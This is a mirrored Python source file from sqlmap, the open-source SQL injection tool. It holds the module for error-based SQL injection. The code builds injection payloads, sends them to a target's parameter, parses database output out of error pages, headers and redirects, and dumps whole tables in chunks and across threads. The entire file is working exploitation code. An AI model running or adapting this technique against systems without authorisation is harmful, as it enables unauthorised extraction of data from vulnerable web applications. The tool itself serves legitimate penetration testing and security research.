mirror of
https://github.com/sqlmapproject/sqlmap.git
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382 lines
16 KiB
Python
382 lines
16 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from extra.safe2bin.safe2bin import safecharencode
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from lib.core.agent import agent
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from lib.core.bigarray import BigArray
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import dataToStdout
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from lib.core.common import decodeHexValue
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from lib.core.common import extractRegexResult
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from lib.core.common import getUnicode
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import incrementCounter
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from lib.core.common import initTechnique
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from lib.core.common import isListLike
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from lib.core.common import isNumPosStrValue
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from lib.core.common import listToStrValue
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from lib.core.common import readInput
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from lib.core.common import unArrayizeValue
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from lib.core.convert import hexdecode
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from lib.core.convert import htmlunescape
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.dicts import FROM_DUMMY_TABLE
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from lib.core.enums import DBMS
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from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
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from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
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from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
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from lib.core.settings import NULL
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from lib.core.settings import PARTIAL_VALUE_MARKER
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from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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def _oneShotErrorUse(expression, field=None):
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offset = 1
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partialValue = None
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threadData = getCurrentThreadData()
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retVal = hashDBRetrieve(expression, checkConf=True)
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if retVal and PARTIAL_VALUE_MARKER in retVal:
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partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
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logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
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offset += len(partialValue)
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threadData.resumed = retVal is not None and not partialValue
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if Backend.isDbms(DBMS.MYSQL):
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chunk_length = MYSQL_ERROR_CHUNK_LENGTH
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elif Backend.isDbms(DBMS.MSSQL):
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chunk_length = MSSQL_ERROR_CHUNK_LENGTH
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else:
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chunk_length = None
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if retVal is None or partialValue:
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try:
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while True:
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check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
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trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
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if field:
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nulledCastedField = agent.nullAndCastField(field)
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if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
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extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
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if extendedField != field: # e.g. MIN(surname)
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nulledCastedField = extendedField.replace(field, nulledCastedField)
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field = extendedField
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nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
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# Forge the error-based SQL injection request
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vector = kb.injection.data[kb.technique].vector
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query = agent.prefixQuery(vector)
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query = agent.suffixQuery(query)
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injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
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injExpression = unescaper.escape(injExpression)
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injExpression = query.replace("[QUERY]", injExpression)
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payload = agent.payload(newValue=injExpression)
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# Perform the request
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page, headers = Request.queryPage(payload, content=True)
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incrementCounter(kb.technique)
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# Parse the returned page to get the exact error-based
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# SQL injection output
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output = reduce(lambda x, y: x if x is not None else y, (\
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extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
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extractRegexResult(check, listToStrValue(headers.headers \
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if headers else None), re.DOTALL | re.IGNORECASE), \
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extractRegexResult(check, threadData.lastRedirectMsg[1] \
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if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
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threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
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None)
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if output is not None:
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output = getUnicode(output)
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else:
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trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
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or extractRegexResult(trimcheck, listToStrValue(headers.headers \
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if headers else None), re.DOTALL | re.IGNORECASE) \
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or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
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if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
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threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
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if trimmed:
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warnMsg = "possible server trimmed output detected "
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warnMsg += "(due to its length and/or content): "
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warnMsg += safecharencode(trimmed)
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logger.warn(warnMsg)
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if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
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if offset == 1:
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retVal = output
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else:
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retVal += output if output else ''
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if output and len(output) >= chunk_length:
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offset += chunk_length
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else:
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break
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if kb.fileReadMode and output:
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dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
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else:
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retVal = output
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break
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except:
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hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
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raise
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retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
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if isinstance(retVal, basestring):
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retVal = htmlunescape(retVal).replace("<br>", "\n")
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retVal = _errorReplaceChars(retVal)
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hashDBWrite(expression, retVal)
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else:
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_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
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retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
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return safecharencode(retVal) if kb.safeCharEncode else retVal
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def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None):
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values = []
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origExpr = None
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threadData = getCurrentThreadData()
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for field in expressionFieldsList:
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output = None
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if field.startswith("ROWNUM "):
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continue
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if isinstance(num, int):
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origExpr = expression
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expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
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if "ROWNUM" in expressionFieldsList:
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expressionReplaced = expression
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else:
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expressionReplaced = expression.replace(expressionFields, field, 1)
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output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
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if not kb.threadContinue:
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return None
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if kb.fileReadMode and output and output.strip():
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print
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elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
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logger.info("%s: %s" % ("resumed" if threadData.resumed else "retrieved", safecharencode(output)))
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if isinstance(num, int):
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expression = origExpr
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values.append(output)
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return values
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def _errorReplaceChars(value):
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"""
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Restores safely replaced characters
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"""
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retVal = value
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if value:
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retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
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return retVal
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def _formatPartialContent(value):
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"""
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Prepares (possibly hex-encoded) partial content for safe console output
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"""
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if value and isinstance(value, basestring):
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try:
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value = hexdecode(value)
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except:
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pass
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finally:
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value = safecharencode(value)
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return value
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def errorUse(expression, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of the error-based
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SQL injection vulnerability on the affected parameter.
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"""
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initTechnique(kb.technique)
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abortedFlag = False
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count = None
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emptyFields = []
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start = time.time()
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startLimit = 0
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stopLimit = None
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value = None
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry at a time
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# NOTE: we assume that only queries that get data from a table can
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# return multiple entries
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if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
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expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
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or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
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expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
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and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
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and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
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if limitCond:
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# Count the number of SQL query entries output
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countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
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if " ORDER BY " in expression.upper():
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_ = countedExpression.upper().rindex(" ORDER BY ")
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countedExpression = countedExpression[:_]
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_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
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count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
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if isNumPosStrValue(count):
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if isinstance(stopLimit, int) and stopLimit > 0:
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stopLimit = min(int(count), int(stopLimit))
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else:
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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if not count:
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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else:
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value = [] # for empty tables
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return value
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if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
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message = "due to huge table size do you want to remove "
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message += "ORDER BY clause gaining speed over consistency? [y/N] "
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_ = readInput(message, default="N")
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if _ and _[0] in ("y", "Y"):
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expression = expression[:expression.index(" ORDER BY ")]
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threadData = getCurrentThreadData()
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threadData.shared.limits = iter(xrange(startLimit, stopLimit))
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numThreads = min(conf.threads, (stopLimit - startLimit))
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threadData.shared.value = BigArray()
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threadData.shared.buffered = []
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threadData.shared.lastFlushed = startLimit - 1
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if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
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for field in expressionFieldsList:
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if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
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emptyFields.append(field)
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debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
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debugMsg += "dumped as it appears to be empty"
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logger.debug(debugMsg)
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if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
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kb.suppressResumeInfo = True
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debugMsg = "suppressing possible resume console info because of "
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debugMsg += "large number of rows. It might take too long"
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logger.debug(debugMsg)
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try:
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def errorThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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with kb.locks.limit:
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try:
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num = threadData.shared.limits.next()
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except StopIteration:
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break
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output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields)
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if not kb.threadContinue:
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break
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if output and isListLike(output) and len(output) == 1:
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output = output[0]
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with kb.locks.value:
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index = None
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for index in xrange(len(threadData.shared.buffered)):
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if threadData.shared.buffered[index][0] >= num:
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break
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threadData.shared.buffered.insert(index or 0, (num, output))
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while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
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threadData.shared.lastFlushed += 1
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threadData.shared.value.append(threadData.shared.buffered[0][1])
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del threadData.shared.buffered[0]
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runThreads(numThreads, errorThread)
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except KeyboardInterrupt:
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abortedFlag = True
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warnMsg = "user aborted during enumeration. sqlmap "
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warnMsg += "will display partial output"
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logger.warn(warnMsg)
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finally:
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threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
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value = threadData.shared.value
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kb.suppressResumeInfo = False
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if not value and not abortedFlag:
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value = _errorFields(expression, expressionFields, expressionFieldsList)
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if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
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value = value[0]
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duration = calculateDeltaSeconds(start)
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if not kb.bruteMode:
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debugMsg = "performed %d queries in %d seconds" % (kb.counters[kb.technique], duration)
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logger.debug(debugMsg)
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return value
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